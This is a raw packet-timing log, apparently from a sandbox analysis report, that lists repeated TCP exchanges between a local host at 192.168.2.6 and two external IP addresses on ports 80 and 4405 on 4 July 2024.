                                                              Jul 4, 2024 11:16:17.767951012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.767961979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.767973900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.767982960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.767995119 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.768004894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.768055916 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.774555922 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:17.779587030 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:17.780936003 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:17.781503916 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:17.786320925 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:17.803620100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803673029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803689957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803703070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803714037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803725004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803735971 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803736925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.803747892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803783894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.803798914 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.803803921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803817987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803829908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803845882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803863049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.803886890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.803898096 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.803997040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804008961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804024935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804034948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804045916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804049015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804059029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804069996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804088116 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804102898 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804132938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804145098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804191113 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804296970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804308891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804320097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804332018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804339886 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804343939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804361105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804373980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804383993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804389000 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804404020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804416895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804434061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804570913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804585934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804598093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804609060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804617882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804621935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804635048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804639101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804661989 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804848909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804862022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804873943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804888964 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804907084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804907084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804919958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804932117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804943085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804959059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.804965973 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.804986000 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.820877075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.820888042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.820899010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.820909023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.820919991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.820930004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.820933104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.820941925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.820971012 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.820991993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821010113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821022987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821034908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821062088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821103096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821115971 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821130991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821141958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821141958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821171999 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821269035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821279049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821293116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821304083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821316004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821316957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821327925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821335077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821341038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821366072 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821379900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821526051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821537971 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821552992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821566105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821578026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821580887 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821589947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821602106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821609020 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821624994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821645021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821659088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821686029 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821827888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821841955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821852922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821862936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821875095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821882010 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821887016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821899891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821912050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821913958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821924925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821935892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821938992 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.821949005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.821974039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822000980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822151899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822163105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822176933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822187901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822199106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822210073 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822210073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822222948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822232008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822243929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822254896 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822298050 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822400093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822413921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822424889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822437048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822448015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822454929 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822464943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822477102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822484016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822489977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822504997 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822516918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822527885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822531939 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822546005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822557926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822568893 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822568893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822582960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822608948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822643995 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822841883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822853088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822864056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822875023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.822906971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.822932959 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.857671022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.857692957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.857705116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.857753038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.857775927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.857789993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.857801914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.857812881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.857815027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.857861042 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.894228935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894279003 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.894287109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894331932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894342899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894376993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.894423008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894434929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894447088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894493103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.894577980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894588947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894602060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894614935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894625902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894637108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894644022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894644976 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.894671917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.894701958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894743919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.894834995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894848108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894860983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894879103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894885063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894896030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894902945 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.894907951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894921064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894926071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.894936085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.894942999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.894964933 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.895149946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895173073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895184994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895191908 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.895196915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895210028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895221949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895232916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895237923 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.895243883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895256996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895267963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895267963 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.895287037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895306110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.895332098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.895530939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895549059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895564079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895576954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895587921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895600080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895601988 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.895612001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895623922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895632029 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.895634890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.895668983 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.896188021 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:17.897466898 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:17.902218103 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:17.910748005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.910767078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.910778999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.910809040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.910851955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.910883904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.910897970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.910909891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.910921097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.910933018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.910948038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.910983086 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911082029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911094904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911107063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911118984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911120892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911130905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911142111 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911153078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911164999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911170006 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911176920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911218882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911371946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911384106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911396027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911406994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911415100 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911420107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911432981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911451101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911453009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911464930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911478043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911487103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911509037 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911535978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911686897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911699057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911717892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911729097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911740065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911740065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911751986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911762953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911775112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911780119 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911788940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911813021 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911828041 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.911961079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911973000 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911988020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.911999941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912009954 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912012100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912024975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912035942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912040949 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912075043 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912097931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912288904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912301064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912312984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912323952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912333012 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912334919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912348032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912355900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912359953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912374973 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912374973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912383080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912386894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912400961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912403107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912416935 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912420034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912434101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912445068 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912450075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912462950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912473917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912477016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912507057 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.912717104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912754059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.912784100 CEST4972380192.168.2.685.28.47.8
